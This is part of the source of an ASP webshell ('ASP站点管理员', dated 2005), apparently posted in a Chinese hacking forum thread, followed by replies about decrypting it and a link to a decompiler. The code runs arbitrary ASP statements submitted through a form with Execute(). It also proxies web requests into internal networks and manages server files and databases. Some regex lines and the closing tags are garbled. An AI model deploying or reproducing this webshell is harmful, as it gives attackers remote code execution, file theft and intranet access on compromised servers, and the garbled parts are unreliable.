      aryInfo(6) = "HTTP网页代理|通过另一台服务器来访问你所要访问的网页, 并把结果返回给你;<br/>把程序放在一台既能让外网访问又能被内网访问的WEB服务器上, 这样你就可以从网内通过它来上网,<br/>可以从网外通过它来访问内网网站, 这是一个神奇的功能"
      aryInfo(7) = "自定义ASP语句执行|允许执行自定义ASP语句, 但是变量及模块命名受程序本身的已命名限制"

      TopMenu()
      echo "<table width=750>"
      echo "<tr>"
      echo "<td class=td colspan=2><font face=webdings>8</font> ASP站点管理员(物理路径版) 简单说明</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead colspan=2> </td>"
      echo "</tr>"

      For Each strInfo In aryInfo
         theAry = Split(strInfo, "|")
         echo "<tr>"
         echo "<td width='20%' valign=top> " & theAry(0) & "</td>"
         echo "<td style='padding-left:7px;'><span>" & theAry(1) & "</span></td>"
         echo "</tr>"
      Next

      echo "<tr>"
      echo "<td class=trHead colspan=2> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=td colspan=2 align=right>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</table>"
End Sub

Function Encode(strPass)
      Dim i, theStr, strTmp

      For i = 1 To Len(strPass)
         strTmp = Asc(Mid(strPass, i, 1))
         theStr = theStr & Abs(strTmp)
      Next

      strPass = theStr
      theStr = ""

      Do While Len(strPass) > 16
         strPass = JoinCutStr(strPass)
      Loop

      For i = 1 To Len(strPass)
         strTmp = CInt(Mid(strPass, i, 1))
         strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
         theStr = theStr & strTmp
      Next

      Encode = theStr
End Function

Function JoinCutStr(str)
      Dim i, theStr
      For i = 1 To Len(str)
         If Len(str) - i = 0 Then Exit For
         theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2))
         i = i + 1
      Next
      JoinCutStr = theStr
End Function

Sub PageExecute()
      Dim strAspCode
      strAspCode = GetPost("AspCode")
      ShowTitle("自定义ASP语句执行")

      If theAct = "Exe" Then
         echo "<table width=750 class=fixTable>"
         echo "<tr>"
         echo "<td class=trHead> </td>"
         echo "</tr>"
         echo "<tr>"
         echo "<td class=td><font face=webdings>8</font> 执行结果</td>"
         echo "</tr>"
         echo "<tr><td style='padding-left:6px;padding-right:5px;'>"
         Execute(strAspCode)
         echo "</td></tr></table>"
      End If
      ShowExeTable(strAspCode)
End Sub

Sub ShowExeTable(strAspCode)
      echo "<form method=post onsubmit=this.Submit.disabled=true; action=""" & url & """>"
      echo "<table width=750>"
      echo "<tr>"
      echo "<td class=td colspan=2><font face=webdings>8</font> 自定义ASP语句执行</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead colspan=2> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td valign=top width='10%'>"
      echo " ASP语句: "
      echo "</td>"
      echo "<td> "
      echo "<textarea name=AspCode cols=91 rows=23 title='By Marcos 2005.06'>" & HtmlEncode(strAspCode) & "</textarea>"
      echo "</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead colspan=2> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td align=center class=td colspan=2>"
      echo "<input type=hidden name=PageName value=PageExecute>"
      echo "<input type=hidden name=theAct value=Exe>"
      echo "<input type=submit name=Submit value=提交>"
      echo "<input type=reset value=重置>"
      echo "</td>"
      echo "</tr>"
      echo "</table>"
      echo "</form>"
End Sub

Sub PageWebProxy()
      Dim i, re, Url, Html
      Response.Clear()
      Url = Request.QueryString("url")
      If Url = "" Then Response.Redirect("?PageName=PageWebProxy&url=http://www.jzpu.com")

      Set re = New RegExp
      re.IgnoreCase = True
      re.Global = True

      sUrlB = Url
      Html = getHTTPPage(Url)
      Url = Left(Url, InStrRev(Url, "/"))

      i = InStr(sUrlB, "?")
      If i > 0 Then
         sUrlB = Left(sUrlB, i - 1)
      End If

      re.Pattern = "(href|action)=(\\'|"")?(\\?)"
      Html = re.Replace(Html,"$1=$2" & sUrlB & "?")

      re.Pattern = "(src|action|href)=(\\'|"")?((http|https|javascript):[A-Za-z0-9\\./=\\?%\\-&_~`@[\\]\\':+!]+([^<>""])+)(\\'|"")?"
      Html = re.Replace(Html,"$1x=$2$3$2")

      re.Pattern = "(window\\.open|url)\\((\\'|"")?((http|https)

\\/\\/|\\\\\\\\)[A-Za-z0-9\\./=\\?%\\-&_~`@[\\]:+!]+([^\\'<>""])+)(\\'|"")?\\)"
      Html = re.Replace(Html,"$1x($2$3$2)")

      re.Pattern = "(src|action|href|background)=(\\'|"")?([^\\/""\\'][A-Za-z0-9\\./=\\?%\\-&_~`@[\\]:+!]+([^\\'<>""])+)(\\'|"")?"
      Html = re.Replace(Html,"$1=$2" & Url & "$3$2")
      re.Pattern = "(src|action|href|background)=(\\'|"")?\\/([^""\\'][A-Za-z0-9\\./=\\?%\\-&_~`@[\\]:+!]+([^\\'<>""])+)(\\'|"")?"
      Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$3$2")
      re.Pattern = "(src|action|href)=(\\'|"")?\\/(\\'|"")?"
      Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$2")

      re.Pattern = "(window\\.open|url)\$(\\'|"")?([^\\/""\\'http:][A-Za-z0-9\\./=\\?%\\-&_~`@[\\]+!]+([^\\'<>""])+)(\\'|"")?\$"
      Html = re.Replace(Html,"$1($2" & Url & "$3$2)")
      re.Pattern = "(window\\.open|url)\$(\\'|"")?\\/([^""\\'http:][A-Za-z0-9\\./=\\?%\\-&_~`@[\\]+!]+([^\\'<>""])+)(\\'|"")?\$"
      Html = re.Replace(Html,"$1($2http://" & Split(Url, "/")(2) & "/$3$2)")

      Html = Replace(Html, "&", "%26")
      Html = Replace(Html, "%26nbsp;", " ")
      Html = Replace(Html, "%26lt;", "<")
      Html = Replace(Html, "%26gt;", ">")
      Html = Replace(Html, "%26quot;", """)
      Html = Replace(Html, "%26copy;", "©")
      Html = Replace(Html, "%26reg;", "®")
      Html = Replace(Html, "%26raquo;", "»")
      Html = Replace(Html, "%26%26", "&&")
      Html = Replace(Html, "%26#", "&#")

      re.Pattern = "(src|action|href)x=(\\'|"")?((http|https|javascript):[A-Za-z0-9\\./=\\?%\\-&_~`@[\\]\\':+!]+([^<>""])+)(\\'|"")?"
      Html = re.Replace(Html, "$1=$2$3$2")

      re.Pattern = "((http|https)

\\/\\/|\\\\\\\\)[A-Za-z0-9\\./=\\?%\\-&_~`@[\\]\\':+!]+([^<>""])+)"
Html = re.Replace(Html, "?PageName=PageWebProxy&url=$1")

re.Pattern = "\\?PageName=PageWebProxy&url=" & Url & "(#|javascript

"
      Html = re.Replace(Html, "$1")

      re.Pattern = "multipart\\/form-data"
      Html = re.Replace(Html, "")

      re.Pattern = ">\\?PageName=PageWebProxy&url=((http|https|javascript):[A-Za-z0-9\\./=\\?%\\-&_~`@[\\]\\':+!]+([^<>""])+)<"
      Html = re.Replace(Html, ">$1<")

      Response.Write(Html)
End Sub

Function getHTTPPage(url)
      Dim Http, theStr, fileExt
      Set Http = Server.CreateObject("MSXML2.XMLHTTP")

      If Request.Form.Count > 0 Then
         For Each x In Request.Form
            theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&"
         Next
         Http.Open "POST", url, False
         Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded"
         Http.Send(theStr)
      Else
         Http.Open "GET", url, False
         Http.Send()
      End If

      If Http.readystate<>4 then Exit Function

      fileExt = LCase(Mid(url, InStrRev(url, ".") + 1))
      If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then
         Response.Clear
         Response.BinaryWrite Http.responseBody
         Response.End()
      Else
         If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then
            Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1)
            Response.BinaryWrite Http.responseBody
            Response.Flush
         Else
            getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312")
         End If
      End If

      Set Http = Nothing
End Function

Function BytesToBstr(body,Cset)
      Dim objstream
      Set objstream = Server.CreateObject("adodb.stream")
      objstream.Type = 1
      objstream.Mode =3
      objstream.Open
      objstream.Write body
      objstream.Position = 0
      objstream.Type = 2
      objstream.Charset = Cset
      BytesToBstr = objstream.ReadText
      objstream.Close
      Set objstream = nothing
End Function

Sub PageOther()
%>
<style id=theStyle>
BODY {
FONT-SIZE: 9pt;
COLOR: #000000;
background-color: #ffffff;
FONT-FAMILY: "Courier New";
scrollbar-face-color:#E4E4F3;
scrollbar-highlight-color:#FFFFFF;
scrollbar-3dlight-color:#E4E4F3;
scrollbar-darkshadow-color:#9C9CD3;
scrollbar-shadow-color:#E4E4F3;
scrollbar-arrow-color:#4444B3;
scrollbar-track-color:#EFEFEF;
}
TABLE {
FONT-SIZE: 9pt;
FONT-FAMILY: "Courier New";
BORDER-COLLAPSE: collapse;
border-width: 1px;
border-top-style: solid;
border-right-style: none;
border-bottom-style: none;
border-left-style: solid;
border-color: #d8d8f0;
}
.tr {
font-family: "Courier New";
font-size: 9pt;
background-color: #e4e4f3;
text-align: center;
}
.td {
height: 24px;
font-size: 9pt;
background-color: #f9f9fd;
font-family: "Courier New";
}
input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}
textarea {
font-family: "Courier New";
BORDER-WIDTH: 1px;
FONT-SIZE: 12px;
color: #000000;
}
A:visited {
FONT-SIZE: 9pt;
COLOR: #333333;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:active {
FONT-SIZE: 9pt;
COLOR: #3366cc;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:link {
FONT-SIZE: 9pt;
COLOR: #000000;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:hover {
FONT-SIZE: 9pt;
COLOR: #3366cc;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
tr {
font-family: "Courier New";
font-size: 9pt;
line-height: 18px;
}
td {
font-size: 9pt;
font-family: "Courier New";
border-width: 1px;
border-top-style: none;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: none;
border-color: #d8d8f0;
}
.trHead {
font-family: "Courier New";
height: 2px;
background-color: #e4e4f3;
line-height: 2px;
}

.fixSpan {
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
vertical-align: baseline;
}

.fixTable {
word-break: break-all;
word-wrap: break-word;
}

#fileList span{
width: 120px;
line-height: 23px;
cursor: hand;
overflow: hidden;
padding-left: 5px;
white-space: nowrap;
text-overflow: ellipsis;
vertical-align: baseline;
border: 1px solid #ffffff;
}
</style>
<script language=javascript>
function locate(str){
var frm = document.forms[1];
frm.theAct.value = str;
frm.TheObj.value = '';
frm.submit();
}

function checkAllBox(obj){
var frm = document.forms[1];
for(var i = 0; i < frm.elements.length; i++)
      if(frm.elements.id != 'checkAll' && frm.elements.type == 'checkbox')
         frm.elements.checked = obj.checked;
}

function changeThePath(str){
var frm = document.forms[1];
frm.theAct.value = '';
frm.thePath.value = str;
frm.submit();
}

function Command(cmd, str){
var j = 0;
var strTmpB;
var strTmp = str;
var frm = document.forms[1];
strTmpB = frm.PageName.value;

if(cmd == 'pack' || cmd == 'del'){
      for(var i = 0; i < frm.elements.length; i++)
         if(frm.elements.name != 'checkAll' && frm.elements.type == 'checkbox' && frm.elements.checked)
            j ++;
      if(j == 0)return;
}

if(cmd == 'rename' || cmd == 'saveas'){
      frm.theAct.value = cmd;
      frm.param.value = str + ',';
      str = prompt('请输入新名称', strTmp);
      if(str && (strTmp != str)){
         frm.param.value += str;
      }else return;
}

if(cmd == 'download'){
      frm.theAct.value = 'download';
      frm.param.value = str;
      if(!confirm('如果该文件超过20M,\\n建议不要通过流方式下载\\n这样会占用服务器大量的资源\\n并可能导致服务器死机!\\n您可以先更改文件的后缀名为sys,\\n然后通过http协议直接下载.\\n按\\"确定\\"用流来进行下载.'))
         return;
}

if(cmd == 'submit'){
      frm.theAct.value = '';
}

if(cmd == 'del'){
      if(confirm('您确认要删除选中的 ' + j + ' 个文件(夹)吗?')){
         frm.theAct.value = 'del';
      }else return;
}

if(cmd == 'newone')
      if(strTmp = prompt('请输入要新建的文件(夹)名', '')){
         frm.theAct.value = 'newone';
         frm.param.value = strTmp + ',' + str;
      }else return;

if(cmd == 'move' || cmd == 'copy'){
      frm.theAct.value = cmd;
}

if(cmd == 'showedit' || cmd == 'showimage'){
      frm.theAct.value = cmd;
      frm.param.value = str;
      frm.target = '_blank';
}

if(cmd == 'Query'){
      if(str == '0'){
         str = 1;
      }else{
         frm.reset();
      }
      frm.theAct.value = cmd;
      frm.param.value = str;
}

if(cmd == 'access'){
      frm.theAct.value = 'ShowTables';
      strTmp = frm.PageName.value;
      frm.PageName.value = 'PageDBTool';
      frm.thePath.value = frm.truePath.value + '\\\\' + str;
      frm.target = '_blank';
}

if(cmd == 'upload'){
      frm.PageName.value = 'PageUpload';
      frm.thePath.value = frm.truePath.value;
      frm.target = '_blank';
}

if(cmd == 'pack'){
      if(confirm('您确认要打包选中的 ' + j + ' 个项目吗?')){
         frm.PageName.value = 'PagePack';
         frm.theAct.value = 'PackOne';
         frm.target = '_blank';
      }else return;
}

frm.submit();
frm.target = '';
frm.PageName.value = strTmpB;
frm.reset();
}

function showSqlEdit(column, str){
var frm = document.forms[1];
if(!str)return;
frm.reset();
frm.theAct.value = 'edit';
frm.param.value = column + '!' + str;
frm.target = '_blank';
frm.submit();
frm.target = '';
}

function sqlDelete(column, str){
var frm = document.forms[1];
if(!str)return;
if(!confirm('确认要删除这条记录?'))return;
frm.reset();
frm.theAct.value = 'del';
frm.param.value = column + '!' + str;
frm.target = '_blank';
frm.submit();
frm.target = '';
}
function preView(n){
var url, win;
if(n != '1'){
      url = document.forms[1].truePath.value
      window.open('/' + escape(url));
}else{
      win = window.open("about:blank", "", "resizable=yes,scrollbars=yes");
      win.document.write('<style>body{border:none;}</style>' + document.forms[1].fileContent.innerText);
}
}
</script>
<%
End Sub
%>?{ @ </body></html></body></html</body></html></body></htm>

</body></html></body></html>

</body></html>

lijian · 2009-9-9 12:33:34

呵呵，谢谢

ＨＵＣ-小航 · 2009-9-9 16:02:22

你也可以到百度搜索解密的网站复制进去解密

ＨＵＣ-udb311 · 2009-9-9 23:09:22

代码加密，要看看是用什么加密的。提供一个asp反编译器给你

ＨＵＣ-udb311 · 2009-9-9 23:11:14

晕，附件上传不了````````

给个链接吧
http://www.hackline.net/a/soft/jmpj/2009/0909/490.html

NI1234 · 2009-9-10 17:33:02

那这个东西应该怎么用啊？

ＨＵＣ-cotrol · 2009-9-13 16:46:05

谢谢配合!!

求助？？（已解决）

浏览过的版块

新人须知

常见问题

关于我们